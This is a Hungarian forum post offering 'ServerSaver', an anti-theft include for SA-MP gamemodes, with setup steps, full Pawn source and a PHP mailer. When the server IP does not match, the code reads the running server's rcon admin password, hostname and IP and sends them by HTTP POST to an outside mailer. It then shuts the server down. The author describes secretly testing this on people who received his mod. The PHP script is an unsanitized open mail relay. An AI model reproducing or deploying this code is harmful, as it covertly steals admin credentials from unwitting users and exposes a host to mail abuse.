ServerSaver LopásgátlóBevezetés:Mivel új netem lett ezért a tesztszerveremre nem tudtak feljönni a haverjaim, ezért az ingyenes hostokhoz fordultam megoldás képen, de mivel sok rosszat halottam ezekrõl a hostokról és már találkoztam is olyan szervertulajokkal akiknek ellopták a módját ezért úgy döntöttem hogy nekiállok egy a módot védõ kis script megírásába.Miután kicsit körbe néztem a neten láttam hogy talán a legg jobb ha a szerverem ip címéhez kötöm a mód futását és így megszületett az 1.0 ás verzió ami nagyon jól bevált de még mindig volt egy hibája.Mégpedig az hogy annak ellenére, hogy az ellopott módot használhatatlanná tette még mindig nem tudtam arról hogy ellopták a módomat, ekkor újra gondolkodni kezdtem és eszembe jutott egy régebbi szerver ahol a szerverrõl lehetett e-mailt küldeni ezért nekiálltam keresgélni majd körülbelül egy pár perc alatt meg is találtam amit kerestem egy külföldi fórumon, és így azt az include-t felhasználva megalkodtam a 2.0 ás verziót ami már egy értesítõ email-t is küldött a lopásról benne a szerver leg fontosabb adataival. Az eredeti E-mail küldõ részrõl:Mivel nem szerettem volna hogy a szerver-t levédõ rész és az e-mail küldõ rész szétváljon ezért egybe raktam a kettõt.Eredeti e-mail küldõ neve:Mailer.incEredeti Mailer feltöltõje:SliceEredeti Mailer Forumja:http://forum.sa-mp.com/showthread.php?t=197755Berakás és beállítás:(1) Tölsd le a szervert(link a leírás alján)(2) Nyisd meg a ServerSaver.inc filet(3) Tölsd fel a Mailer.php filet egy olyan honlapra/hostra ahol le tudod kérni az elérési utvonalát(4) Másold be a ServerSaver.inc filet a server/pawno/include mappába
(5) Állítsd be a minta alapján1 IP cím esetén:
//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"//ide kerülnek az ip cimeid
#define ip1 \"non\"
#define ip2 \"non\"
#define E_mail \"[email protected]\"//ide ird be a saját e-mail címed
#define tulaj \"Sanyi\"//ide ird be a neved
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************
Több IP Cím esetén:
//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"
//ide kerülnek az ip cimeid
#define ip1 \"188.150.120.23:7777\"
//ide kerülnek az ip cimeid
#define ip2 \"non\"
#define E_mail \"[email protected]\"
//ide ird be a saját e-mail címed
#define tulaj \"Sanyi\"
//ide ird be a neved
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************
(6) Nyisd meg a levédeni kívánt Játékmódot és ted be ezt a main vagy az OnGamemodeInt alá
public OnGameModeInit()
{
IsServerClear();
}
(7) Nyisd meg a Server.cfg filet és új sorba add hozzá a bind (IPcímed port nékül) sortpélda:
echo Executing Server Config...
lanmode 0
weburl www.sa-mp.com
maxnpc 0
port 7834
incar_rate 40
hostname ASD
maxplayers 30
gamemode0 PLG
stream_distance 300.0
onfoot_rate 40
query 1
filterscripts TD
base
announce 1
weapon_rate 40
stream_rate 1000
rcon_password próbajelszó
logtimeformat [%H:%M:%S]
plugins streamer.dll sscanf.dll
bind 188.143.120.22
ezután kész is vagy a beállításokkal és már le is van védve a játékmódod
innentõl ha jól csináltál mindent akkor a server log ban ezt kell látnod:
[12:08:28] |||||||||||||||||||||||||||||||||||||
[12:08:28] _-------------------------------------_
[12:08:28] _| |_
[12:08:28] _| Szerver futtatása engedélyezve! |_
[12:08:28] _| Kellemes szórakozást! |_
[12:08:28] _| |_
[12:08:28] _-------------------------------------_
[12:08:28] |||||||||||||||||||||||||||||||||||||
Ha rosszúl irtad be az IP címed a beállításoknál vagy elopják a módot akkor ezt fogod/fogja látni a szerverlogban miután leállt a szerver:
[16:24:32] |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
[16:24:32] _+--------------------------------------------------------------------------+_
[16:24:32] _| __ __ |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |__| |_
[16:24:32] _| __ ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! __ |_
[16:24:32] _| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |__| |_
[16:24:32] _| |_
[16:24:32] _+--------------------------------------------------------------------------+_
[16:24:32] |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Teszt:Teszt képen több embernek is elküldtem az egyik módom ezzel levédve és mivel õk nem tudtak a védelemrõl ezért nagy örömmel és buzgósággal fogadták a legújabb módomat nem sejtve, hogy egy teszt részesei.A Védelem tökéletesen mûködött minden esetben leállította a szervereket és el is küldte a szerverek adatait.Bug,Hiba:Eddig nem találtam hibát benne nállam tökéletesen mûködikegyedüli problémálya hogy ha nincs a server.cfg be beirva a bind sor akkor az ip címet nem irja ki de ebbõl lehet arra állapítani hogy csak házi szerveren próbálták meg elindítani.Letöltés: http://www.solidfiles.com/d/5223484c20/serversaver.rarCode:
#include <a_samp>
#include <a_http>
//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"
#define ip1 \"non\"
#define ip2 \"non\"
#define E_mail \"[email protected]\"
#define tulaj \"Sanyi\"
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************
#if ( !defined MAILER_MAX_MAIL_SIZE )
#define MAILER_MAX_MAIL_SIZE (1024)
#endif
#if ( !defined MAILER_URL )
#error Please define MAILER_URL before including the mailer include.
#endif
forward timer();
public timer()
{
SendRconCommand(\"exit\");
return 1;
}
stock IsServerClear()
{
new Sip[64],ports,serverip[128],servername[100],rcon[128];
GetServerVarAsString(\"bind\", Sip, sizeof(Sip));
GetServerVarAsString(\"hostname\",servername, sizeof(servername));
GetServerVarAsString(\"rcon_password\",rcon, sizeof(rcon));
ports=GetServerVarAsInt(\"port\");
format(serverip,sizeof(serverip),\"%s:%d\",Sip,ports);
if(strcmp(serverip,ip0,true)==0||strcmp(serverip,ip1,true)==0||strcmp(serverip,ip2,true)==0)
{
print(\"|||||||||||||||||||||||||||||||||||||\");
print(\"_-------------------------------------_\");
print(\"_| |_\");
print(\"_| Szerver futtatása engedélyezve! |_\");
print(\"_| Kellemes szórakozást! |_\");
print(\"_| |_\");
print(\"_-------------------------------------_\");
print(\"|||||||||||||||||||||||||||||||||||||\");
}
else
{
print(\"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\");
print(\"_+--------------------------------------------------------------------------+_\");
print(\"_| __ __ |_\");
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! |!!| |_\",tulaj);
printf(\"_| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! |__| |_\",tulaj);
printf(\"_| __ ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! __ |_\",tulaj);
printf(\"_| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona! |__| |_\",tulaj);
print(\"_| |_\");
print(\"_+--------------------------------------------------------------------------+_\");
print(\"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\");
new uzenet[256],years,month,day,hour,minut;
getdate(years,month,day);
gettime(hour,minut);
format(uzenet,sizeof(uzenet),\"jogtalanul indították el a szervert!\\nSzerver IP: %s\\nSzerver név:%s\\nRcon jelszó:%s\\nDátum:%d.%d.%d\\nIdõ: %d:%d\",serverip,servername,rcon,years,month,day,hour,minut);
SendMail( E_mail, \"[email protected]\",\"MOD FIGYELO\",\"MOD LOPAS!\", uzenet );
SetTimer(\"timer\",500,false);
}
return 1;
}
stock SendMail( const szReceiver[ ], const szSenderMail[ ], const szSenderName[ ], const szSubject[ ], const szMessage[ ] )
{
new
szBuffer[ MAILER_MAX_MAIL_SIZE ] = \"t=\",
iPos = strlen( szBuffer ),
iLength = strlen( szReceiver )
;
memcpy( szBuffer, szReceiver, iPos * 4, ( iLength + 1 ) * 4 );
StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
strcat( szBuffer, \"&f=\" );
iPos = strlen( szBuffer );
iLength = strlen( szSenderName );
memcpy( szBuffer, szSenderName, iPos * 4, ( iLength + 1 ) * 4 );
StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
strcat( szBuffer, \"&n=\" );
iPos = strlen( szBuffer );
iLength = strlen( szSenderMail );
memcpy( szBuffer, szSenderMail, iPos * 4, ( iLength + 1 ) * 4 );
StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
strcat( szBuffer, \"&s=\" );
iPos = strlen( szBuffer );
iLength = strlen( szSubject );
memcpy( szBuffer, szSubject, iPos * 4, ( iLength + 1 ) * 4 );
StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
strcat( szBuffer, \"&m=\" );
iPos = strlen( szBuffer );
iLength = strlen( szMessage );
memcpy( szBuffer, szMessage, iPos * 4, ( iLength + 1 ) * 4 );
StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
HTTP( 0xD00D, HTTP_POST, MAILER_URL, szBuffer, \"OnMailScriptResponse\" );
}
forward OnMailScriptResponse( iIndex, iResponseCode, const szData[ ] );
public OnMailScriptResponse( iIndex, iResponseCode, const szData[ ] )
{
if ( szData[ 0 ] )
printf( \"Mailer script says: %s\", szData );
}
stock StringURLEncode( szString[ ], iSize = sizeof( szString ) )
{
for ( new i = 0, l = strlen( szString ); i < l; i++ )
{
switch ( szString[ i ] )
{
case \'!\', \'(\', \')\', \'\\\'\', \'*\',
\'0\' .. \'9\',
\'A\' .. \'Z\',
\'a\' .. \'z\':
{
continue;
}
case \' \':
{
szString[ i ] = \'+\';
continue;
}
}
new
s_szHex[ 8 ]
;
if ( i + 3 >= iSize )
{
szString[ i ] = EOS;
break;
}
if ( l + 3 >= iSize )
szString[ iSize - 3 ] = EOS;
format( s_szHex, sizeof( s_szHex ), \"%02h\", szString[ i ] );
szString[ i ] = \'%\';
strins( szString, s_szHex, i + 1, iSize );
l += 2;
i += 2;
if ( l > iSize - 1 )
l = iSize - 1;
}
}
php tartalma:
<?php
ini_set( \'html_errors\', false );
if ( empty( $_POST[ \'t\' ] ) || empty( $_POST[ \'f\' ] ) || empty( $_POST[ \'n\' ] ) || empty( $_POST[ \'s\' ] ) || empty( $_POST[ \'m\' ] ) )
die( \'Error: Missing parameters.\' );
mail(
$_POST[ \'t\' ],
utf8_encode( $_POST[ \'s\' ] ),
$_POST[ \'m\' ],
implode(
\"\\r\\n\",
array
(
\'From: \"\' . addslashes( $_POST[ \'f\' ] ) . \"\\\" <{$_POST[ \'n\' ]}>\",
\"Reply-To: {$_POST[\'f\']}\",
\"X-Mailer: PHP/\" . phpversion( ),
)
)
);
?>